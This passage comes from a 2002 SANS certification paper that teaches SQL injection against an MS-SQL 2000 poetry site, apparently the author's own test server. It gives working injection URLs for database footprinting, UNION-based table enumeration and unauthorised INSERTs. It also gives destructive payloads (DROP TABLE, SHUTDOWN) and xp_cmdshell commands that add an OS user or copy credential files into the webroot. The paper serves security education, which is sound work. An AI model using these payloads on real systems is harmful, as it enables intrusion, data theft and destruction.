and it might just work even if the admin is patch-happy." (AntiCrack. 27 May
2002).
"SQL injection is usually caused by developers who use 'string-building'
techniques in order to execute SQL code." (SQL Injection FAQ)
The principle of basic SQL injection is to take advantage of insecure code on
a system connected to the internet in order to pass commands directly to a
database and to then take advantage of a poorly secured system to leverage
an attacker's access.
Most other papers concerned with SQL injection use the example of either a
login or search dialogue that is used to gain unauthorised access to the
server. To avoid repeating what can be studied in other papers, I will instead
look at SQL injection via the querystring, where the goal is to add general
data to the database rather than to add a member to a users table. The attack
I discuss uses the same principles as those in other papers, particularly the
SPI Dynamics and NGSSoftware papers, but differs in its execution.
The sample site in the following examples makes use of a MS-SQL 2000
database to serve poems presented at poetry readings. The table lay-up is
basic but the real world example is considerably more complicated. Two
tables, titled author and story, respectively contain the poets’ names,
nationality and age, and the poem specifics: title, blurb, poem and aID.
The site lists individual poems and the goal is to add an unauthorised poem
and an unauthorised author to the database.
Hacking the querystring
A typical URL to read a poem is as follows:
http://stuart/homebase/practical/index.asp?story=1

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
4
When you visit the above URL you are greeted with a page title (Welcome to
Bangkok’s Worst Poetry.com), the title of the poem (The Mating of the
Mongolian Butterfly), the name (Stuart), nationality (Australian) and age (32)
of the poet and a snippet from their poem (Par for the course…).
From this you can infer that the 1 in the querystring is some kind of reference
to the actual poem. So, break off the querystring and you get the following:
Story=1
Change the value of Story to 4 and then reload the page with the URL:
http://stuart/homebase/practical/index.asp?story=4

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
5
We now have Cheese by Savage Henry, even though it was never called via
a link for this particular poem.
Next, look at the VB Script code used to create the above (the connection
portion of the script is omitted for brevity).
<%
storyID=request("story")
StrSql0="SELECT s.sID,s.title ,s.blurb,s.story,a.aName FROM story s, author a
WHERE sID="&storyID&" AND a.aID=s.aID"
Rs0.Open StrSql0,oConn
%>
The variable we have been playing with – that is, the story value -- is being
passed with no input validation straight to the SQL query, which is then
retrieving the data. This shows we could put anything in there as the value for
storyID and it would be passed to the SQL statement. We could send
commands to the database that the developer never intended.
This is the principle behind SQL injection.
Breaking the querystring
There are two straightforward ways to break a URL. Firstly, you can try adding
some SQL to the URL, as in the following:
http://stuart/homebase/practical/in dex.asp?story=3 AND someothercolumn=3

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
6
In our example this results in the following error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name
'someothercolumn'.
/homebase/practical/index.asp, line 33
This establishes that SQL injection is possible as we changed the SQL
statement from:
SELECT s.sID,s.title,s.b lurb,s.story,a.aName FROM story s, author a WHERE sID=3
AND a.aID=s.aID
to
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3
AND someothercolumn=3 AND a.aID=s.aID
The column "someothercolumn" does not exist, so we get an SQL error.
The second way to break a page is with an apostrophe:
http://stuart/homebase/practical/index.asp?story=3'
The above results in the following server error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclo sed quotation mark before
the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
The script has choked because we inserted an apostrophe after the 3, which
breaks the SQL statement. By inserting the quotation mark, the SQL
statement passed to the server was altered from:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3
AND a.aID=s.aID
to
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3'
AND a.aID=s.aID
The single quotation mark causes an unclosed quotation mark error.
This is a little unusual as normally an integer would not be quoted in an SQL
statement. Another example better illustrates the use of a quote: Imagine a
summary page that lists poets by nationality. In this case a correct URL may
be in the form:

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
7
http://stuart/homebase/practical/index_co untry.asp?country=laos
and the corresponding SQL would be:
SELECT a,aID,a.aName FROM author a WHERE a.aNationali ty='laos'
Note the value laos is quoted because it is a string, so when we alter the URL
again, adding a quotation mark in laos, this quotation mark goes into the SQL
and breaks it, as follows:
http://stuart/homebase/practical/index_count ry.asp?country=la'os
SELECT a,aID,a.aName FROM author a WHERE a.aNati onality='la'os'
This SQL statement will crash because of the unclosed quotation mark.
Generally an attacker will need to use a quotation mark to break the SQL,
though if the site is particularly poorly coded then they may just be able to add
SQL in as in the first example.
Database foot printing
To be successful, an attacker will first need to map out the tables on the
database, a process called database foot printing. As Beth Breidenbach
states: "'Footprinting,' or identifying the configuration of the server is one of
the first steps in deciding how to attack a site." (Breidenbach. 2002)
The method chosen to do this will depend on how poorly configured the
server is. The most reliable method, shown here, is also the slowest. Other
methods are covered in Part Two, where the use of stored procedures and
extended stored procedures to extract the data are discussed.
To reliably footprint a database, the SQL statement must be broken, which will
cause an error from which a plan of the database can be inferred.
A lot can be learned from error messages: they’re very handy when
developing but are also very useful for attacking.
Look at the error message we got above when we added a quotation mark:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x8004 0E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quo tation mark before
the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
The important part of this error is the part “AND a.aID=s.aID”. This tells an
attacker both that there are at least two tables being used to generate this
page (note the a. and s. – these are aliases for tables), and that these two
tables are related via the field aID.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
8
If an attacker was to look at this in the context of the poetry site, they could
use their commonsense and guess that an aID refers to an author ID and the
a and s may refer to author and story (though p for poem would be even
easier to guess). But not even that much guessing is neces sary, as eventually
error messages will reveal almost everything.
An important point to note is that the snippet returned in the error message
(AND a.aID=s.aID) does not reveal the actual table names. This is good
practise from a developer’s perspective. When you use aliases, do not use
the full table name as you are giving away your information cheaply. More on
this is covered in Part Three.
An attacker must now find out what other fields are in the tables. For this they
can use the SQL syntax GROUP BY or HAVING. For example:
http://stuart/homebase/practical/index.asp?story=3%20HAVING%201=1--
The apostrophe is removed as it is not necessary for this portion of the
exercise to work. The %20 refers to a space, but what is important is the
double dash at the end -- this is the equivalent of a comment and comments
out whatever SQL may be appended to the line. The SQL becomes:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3
HAVING 1=1-- AND a.aID=s.aID
The -- syntax then comments out the ending part of the SQL statement. This
is very important as without the ability to do this (ie, if the -- is cut out via input
validation) SQL injection becomes far more difficult.
This will create a new error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.sID' is invali d in the
select list because it is not contained in an aggregate function and there is no
GROUP BY clause.
/homebase/practical/index.asp, line 20
An attacker has been advised by the error that there is a column called s.sID.
This error has arisen because if you are going to use HAVING, you must also
use a GROUP BY, which groups all the fields. Now the attacker must iterate
through the fields until they no longer get an error. The next example shows
how this is done:
http://stuart/homebase/practical /index.asp?story=3%20group%20by%20s.sID%20ha
ving%201=1--
The attacker has now taken the s.sID field given to them and inserted it into
the URL, which produces the next error:

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
9
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.title' is invalid in the
select list because it is not contained in either an aggregate function o r the GROUP
BY clause.
/homebase/practical/index.asp, line 20
Now they have determined the next column name, s.title, which they add to
and then repeat the process:
http://stuart/homebase/practical /index.asp?story=3%20group%20by%20s.sID,s.title
%20having%201=1--
Microsoft OLE DB Provider fo r ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.blurb' is invali d in the
select list because it is not contained in either an aggregate function o r the GROUP
BY clause.
/homebase/practical/index.asp, line 20
Which then gives them s.blurb and so on. This can get tedious if the table
happens to have many columns.
Assume the full table has been deduced, we have the following querystring:
http://stuart/homebase/practical /index.asp?story=3%20group%20by%20s.sID,s.title,s
.blurb,s.story%20having%201=1--
This gives us the following:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'a.a Name' is invalid in the
select list because it is not contained in either an aggregate function or the GROUP
BY clause.
/homebase/practical/index.asp, line 20
Note the error has switched to the next table, the one with the nickname a.
When the attacker has inserted all the values into the URL the following is
created:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,s
.blurb,s.story,a.aName,a.aNationality,a.aAge%20having%201=1 --

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
10
This URL delivers the attacker an error free screen and a poem titled King of
the Soi by Chanet.
To summarise, the attacker so far has learned:
1. Two tables are used in this page and their nicknames are ‘a’ and ‘s’.
2. They contain at least the following fields (they may have other fields
that are not used for this screen):
a. a: aID (they got this one in the very start),
aName,aNationality,aAge
b. s: sID,aID (ditto), title,blurb,story
3. A relationship exists between the two tables over the aID field.
The next challenge is to determine the table names so a record may be
inserted.
To establish table names, the system table that comes as a part of MS-SQL
2000, called the sysObjects table, is used. The sysObjects table contains
information on all the tables within the database being used.
The method used to tackle this depends on how the information is being
displayed. In this case, the poem is being pulled from the database and
displayed on the screen, so an attacker needs to append a query to this
statement using UNION SELECT, but they have to make sure that the original
SELECT returns nothing and that the information from their appending query
is returned instead.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
11
Here is the original and correct statement:
SELECT s.sID,s.title,s.blu rb,s.story,a.aName,a.aNationality,a.aAge FROM story s,
author a WHERE sID=3 AND a.aID=s.aID
To get the table name from the SysObjects table one would normally use the
following:
SELECT name FROM sysObjects WHERE xtype='U'
(The U designates a user-defined table)
To combine these the story value is assigned a high number so it will not
return a valid poem, and then the other statement is added on with UNION.
Note that this won’t work unless both statements have the same number of
fields. The attacker has already established how many columns are in the first
table, so now they add digits into the second to make them even, as follows:
SELECT s.sID,s.title,s.b lurb,s.story,a.aName,a.aNationa lity,a.aAge FROM story s,
author a WHERE sID=999 AND a.aID=s.aID UNION ALL SELECT 1,2,3,4,5,6,name
FROM sysObjects WHERE xtype='U'
This translates into the following URL:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELE
CT%201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype='U'--

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
12
The page that results has the text "author" (circled in red) where we expected
to see the poet's age, and the other fields are filled with the numbers one
through six instead of valid information.
A couple of points:
a) 1,2,3,4,5,6,name are used arbitrarily to fill the fields with junk data. Only the
last field, name, is important.
b) Occasionally an error will say the wrong data type has been used. In such
cases, the field generating the error must be determined and switched to
something quoted eg ‘one’
c) ‘name’ is used because it is the value being sought. In the sysObjects table
the column ‘name’ contains the table names.
d) A double dash must be added at the end to comment the remainder of the
original statement.
The attacker now has the name of one of the tables – author. Now they get
the other one.
http://stuart/homebase/practical /index.asp?story=334%20UNION%20ALL%20SELE
CT%201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20(xtype='U'%20A
ND%20(name<>'author'%20))--
They now have two tables, author and story, with at least the following
properties:
a.author: aID, aName,aNationality,aAge
s.story: sID,aID, title,blurb,story
Checking cannot be overdone in SQL injection. Here, it is necessary to check
that these are the complete lists of columns in each of the tables. The
SysObjects table can also be used for that, but instead of c alling the column
‘name’ they call the column 'info', which contains the number of columns in a
given table.
The syntax is as follows:
http://stuart/homebase/practical /index.asp?story=334%20UNION%20ALL%20SELE
CT%201,2,3,4,5,6,info%20FROM%20sysObjects%20WHERE%20(name='author') --
This returns 4 – so our author table is complete. But when story is run:
http://stuart/homebase/practical /index.asp?story=334%20UNION%20ALL%20SELE
CT%201,2,3,4,5,6,info%20FROM%20sysObjects%20WHERE%20(name=’story')--

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
13
This returns 6, a problem as we have only determined 5 of the columns.
The best way to find out the name of the remaining column is to again make
use of the SysObjects table, but in conjunction with the SysColumns table as
follows:
http://stuart/homebase/practical /index.asp?story=334%20UNION%20ALL%20SELE
CT%201,2,3,4,5,6,sysColumns.name%20FROM%20sysObjects,sysColumns%20W
HERE%20(sysObjects.id=sysColumns.id AND sysObjects.name='sto ry' AND
sysColumns.name not like 'sID' AND sysColumns.name not like 'aID' AND
sysColumns.name not like 'title' AND sysColumns.name not like 'blurb' AND
sysColumns.name not like 'story')--
Which returns ‘storydate’ and then completes the table.
The last thing needing to be done before publishing a tome of poetry is to
check on the type of each column. Strictly speaking in this example it is not
necessary, but just to be thorough this is how it is done:
http://stuart/homebase/practical/in dex.asp?story=334%20union%20select%20sum(aI
D)%20from%20author--
Determining the column type again comes down to reading error messages,
iterating through each column and running a SUM on it. If the field is numeric
the following error (off the above URL) appears:
Error Type:

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
14
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in their
target lists.
/homebase/practical/index.asp, line 20
However if the field is a text field this error is generated:
http://stuart/homebase/practical/in dex.asp?story=334%20union%20select%20sum(a
Name)%20from%20author--
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or av erage aggregate
operation cannot take a varchar data type as an argument.
/homebase/practical/index.asp, line 20
By running through this process, the following is known:
a.author: aID(int), aName(varchar),aNationality(varchar),aAge(varchar)
s.story: sID(int),aID(int),
title(varchar),blurb(varchar),story(varchar),storydate(varchar)
Adding unauthorised data
With the information garnered in the database foot printing section, it is now
possible to inject a valid INSERT statement to the database.
First the attacker needs to enter the poet name (author), for instance as
follows:
INSERT INTO author VALUES (‘Dante’,’Italia n’,’89’)
http://stuart/homebase/practical /index.asp?story=999;INSERT%20INTO%20author%
20VALUES%20('Dante','Italian','89') --
No error message appears, the record appears to have been entered
correctly. However, the aID, which needs to be entered into the story table
remains unknown.
To obtain this, it’s necessary to run another query:
http://stuart/homebase/practical /index.asp?story=334%20UNION%20ALL%20SELE
CT%201,2,3,4,5,6,aID%20FROM%20author%20WHERE%20(aName='Dante') --
Which returns 10 – the aID for Dante.
The last step is to insert the poem into the story table.
s.story: sID(int),aID(int),
title(varchar),blurb(varchar),story(varchar),storydate(varchar)

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
15
Taking a guess at the INSERT statement, produces something like this:
INSERT INTO story VALUES (10,’I love som tam’,’som tam is a spicy Thai salad and
this is a poem about i t’,’som tam is so spicy,<br>It makes my mouth burn’)
Which gives us the following URL:
http://stuart/homebase/practical /index.asp?story=999; INSERT INTO story VALUES
(10,’I love som tam’,’som tam is a spicy Thai salad and this is a poem about it’,’som
tam is so spicy,<br>It makes my mouth burn’,’2000 /12/12’)--
When this returns no error, it is still necessary to establish the ID of the story,
which is done similarly to establishing the author ID. In this case it is 9.
http://stuart/homebase/practical/index.asp?story=9
Why SQL Injection is a problem
The example used above is unlikely to be encountered in the real world for a
number of reasons. Firstly, it is over-simplified. Secondly the information
being passed to the SQL statement was not validated. Thirdly and most
importantly, it is an unlikely attack – normally an attacker would target a user
table to try to get added as an administrator of the site or some other
privileged user. Defence against this type of attack will be covered in Part
Three. But before we move on a couple of further points are worth
considering.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
16
The preceding example could be used against a user table. Excellent
examples of how to do this are covered in the white papers by SPI Dynamics
and NGSSoftware. Each uses slightly different approaches to the other and to
the above, which further illustrates that this issue can be tackled in numerous
ways.
Even more vengefully, an attacker may choose to destroy data. Returning to
the poetry example, if the attacker had entered the following:
http://stuart/homebase/practical /index.asp?story=784;%20DROP%20TABLE%author
;--
"Obviously DROP'ing tables ranks right up there with other stupid DoS tricks"
(Rain Forest Puppy. 2001), but if your user had sufficient privileges, you just
lost your author table.
The following is always a good guess on a high-traffic site:
http://stuart/homebase/practical /index.asp?story=784;%20DROP%20TABLE%users;
--
When was the last time you backed up your database?
"One of SQL Server's most powerful commands is SHUTDOWN WITH
NOWAIT, which causes SQL Server to shutdown, immediately stopping the
Windows service." (Harper. 29 May 2002)
http://stuart/homebase/practical/in dex.asp?story=4%20;SHUTDOWN WITH
NOWAIT--
A perfect attack for a disgruntled ex-employee to launch around midnight
before a holiday weekend.
More malicious users could map out your tables and delete certain columns,
change information or as illustrated destroy your database.
The above shows how an attacker possessing a basic knowledge of SQL
syntax and an understanding of how the querystring works, combined with a
poorly coded and/or poorly defended site, can give the site administrator
serious problems. Next I’ll move on to the business side of things: preinstalled
stored procedures and extended stored procedures.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
17
Part Two – Advanced Injection: sprocs and the leverage of your position
"It didn't take people long to realise that with all the 'functionality' built into MSSQL
that a compromised MS-SQL server translated almost directly to a
compromised server and served as an excellent springboard into internal
networks" (sensepost)
This section is specific to Microsoft SQL Server and covers the use of inbuilt
stored procedures and extended stored procedures. By making intelligent use
of these procedures an attacker can greatly leverage their position against
your system.
To make use of these procedures the attacker takes advantage of the same
weaknesses that allowed the basic SQL injection.
For many of the following examples to work, the web server under attack
would need to be connected to the database with the system administrator
login. Although this is a big no no, many use it anyway. So this assumption
holds throughout this section.
One of the most useful in-built stored procedures is “sp_makewebtask”. In
itself it doesn’t reveal any information, but it creates a structure for the
attacker to view the results of other procedures and queries. This allows an
attacker to more efficiently collect data. sp_makewebtask can be used in
conjunction with other queries and/or inbuilt stored and extended stored
procedures.
sp_makewebtask can take in excess of 30 arguments. A discussion of all of
these is beyond the scope of this paper, however SQL Server Books Online
(supplied with MS-SQL 2000) provides complete details. The most basic
format is:
sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'
To quote directly from SQL Server Books Online:
"[@outputfile =] 'outputfile'
Is the location of the generated HTML file on an instance of Microsoft® SQL
Server™. It can be a UNC name if the file is to be created on a remote
computer. outputfile is nvarchar(255), with no default.
[@query =] 'query'
Is the query to be run. query is ntext, with no default. Query results are
displayed in the HTML document in a table format when the task is run with
sp_runwebtask. Multiple SELECT queries can be specified and result in
multiple tables being displayed in outputfile. "(Microsoft Corporation)
For an attacker this is a dream tool.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
18
Consider the following:
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
'd:/inetpub/wwwroot/test.html','SELECT%20*%20FROM%20story'--
This generates everything in the story table and places it in a file on the web
server called test.html. Obviously you need to know the directory set-up of the
machine, but with trial and error this is often not difficult to determine.
Another example of using sp_makewebtask to display sensitive data follows.
In this case it will produce a file containing the details of all the stored
procedures:
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
'd:/inetpub/wwwroot/test7.html',"SELECT%20o.na me,c.text%20from%20sysCommen
ts%20c%20join%20sysObjects%20o%20on%20c.id=o.id %20where%20o.xtype='P'--
Another very useful extended procedure is xp_cmdshell. Again here is the
syntax from SQL Server Books Online:
xp_cmdshell {'command_string'} [, no_output]
Where the command string is an operating system command. (Microsoft
Corporation)

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
19
The following will add the user Ghost with the password test to the system – a
great illustration of why one should never connect with the system
administrator login.
http://stuart/homebase/practical/in dex.asp?story=784;exec%20master.dbo.xp_cmdsh
ell%20'net%20user%20ghost%20test%20/ADD'--
Sunderic and Woodhead make the case for using the xp_cmdshell procedure
to copy backup files from one machine to another as follows:
exec master.dbo.xp_cmdshell 'copy e: \w2kPro~1\Mocros~1\' 'MSSQL\BACKUP\*.*
m:', no output
(Sunderic and Woodhead p.474. 2001.)
But an attacker could just as easily use this to copy and rename sensitive files
into the webroot. For example:
http://stuart/homebase/practical/in dex.asp?story=784;exec%20master.dbo.xp_cmdsh
ell%20'copy%20d:\inetpub\wwwroot\includefiles\common.asp%20d:\inetpub\wwwroot
\common.txt'--
In the case above the attacker is copying the include\common.asp file (which
contains the password and username for the database connection) and
renaming it to a textfile so that they can read it in a browser.
Other procedures can also be combined with sp_makewebtask to do any of
the following (to name but a few):
Provide a list of all the groups in the domain:
xp_enumgroups ['domain_name']
http://stuart/homebase/practical/index.asp?story=784;exec%20sp_makewebtask%20
@outputfile='d:/inetpub/wwwroot/test11.html',@query='exec%20master.dbo.xp_enu
mgroups%20stuart'--
To query MS-SQL Server information:
xp_msver [optname]
(leave optname blank to get all the information)
http://stuart/homebase/practical/index.asp?story=784;exec%20sp_makewebtask%20
@outputfile='d:/inetpub/wwwroot/test.html',@query='exec%20master.dbo.xp_msver'-
-
To get information pertaining to the current security settings of the serv er:
xp_loginconfig ['config_name']
(leave config_name blank to get all the information)
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
@outputfile='d:/inetpub/wwwroot/test13.html',@query='exec%20master.dbo.xp_login
config'--
To get information pertaining to login accounts to the server:
xp_logininfo [[@acctname =] 'account_name'] [,[@option =] 'all' | 'members']
[,[@privelege =] variable_name OUTPUT]

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
20
http://stuart/homebase/practical /index.asp?story=784;exec%20sp_makewebtask%20
@outputfile='d:/inetpub/wwwroot/test15.html',@query='exec%20master.dbo.xp_logini
nfo'--
Some other nifty stored procedures which may appeal to a mischievous
attacker include:
sp_rename can be used to change column and table names.
sp_rename [ @objname = ] 'obj ect_name' , [ @newname = ] 'new_name'
[ , [ @objtype = ] 'object_type' ]
So for example to rename the author table to say authors, the following would
do nicely.
http://stuart/homebase/practical/in dex.asp?story=784;%20EXEC%20sp_rename%20'
author',%20'authors'--
In many cases the procedure can play a very useful role for the administrator,
however if the server is not fully locked down, these procedures can be just as
if not more useful for the attacker.
MS-SQL 2000 comes with hundreds of stored procedures and a couple of
dozen extended stored procedures pre-installed. In some cases, such as with
xp_msver, the usefulness for an attacker is minor, but the point is that all lead
to system information leakage – information that can then be used to assist in
an attempt to completely compromise the system at a latter time.
Lastly there are also a selection of extended stored procedures that can be
used to read, alter, list and delete registry values. Interestingly, there is no
documentation for them on the SQL Server Books Online, but both Sunderic
and Woodhead and Anley touch on some possible uses:
The registry related extended stored procedures are:
xp_regread - reads a registry value
xp_rewrite - writes to the registry
xp_regdeletekey - deletes a key
xp_regdeletevalue - deletes a key's value
xp_regenumvalues - lists names of value entries
xp_regaddmultistring - adds a multistring (zero-delimited string)
xp_regremovemultistring - removes a multi string (zero delimited string)
(Sunderic and Woodhead. p478. 2001.)
These can be used just as any other extended stored procedure. So for
example the following will add a new value to the MS-SQL set-up key:
http://stuart/homebase/practical /index.asp?story=784;exec%20master.dbo.xp_regwri
te%20'HKEY_LOCAL_MACHINE','SOFTWARE \Microsoft\MSSQLServer\Setup','Test
2','REG_SZ','Test2'--
While the following will remove the same key:

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
21
http://stuart/homebase/practical/in dex.asp?story=784;exec%20master.dbo.xp_regdel
etevalue%20'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setu
p','Test2'--
It does not take too make imagination to consider other malicious uses for
these extended stored procedures, particularly xp_regdeletekey and
xp_regdeletevalue. Anley (Anley. p. 13. 2002.), also details an interesting use
of the extended stored procedure xp_regenumvalues.
For further reading on advanced use of extended stored procedures, custom
extended stored procedures and other more 'exotic' attacks, Anley's paper is
informative. Pages 14 to 17, where he discusses importing text files into
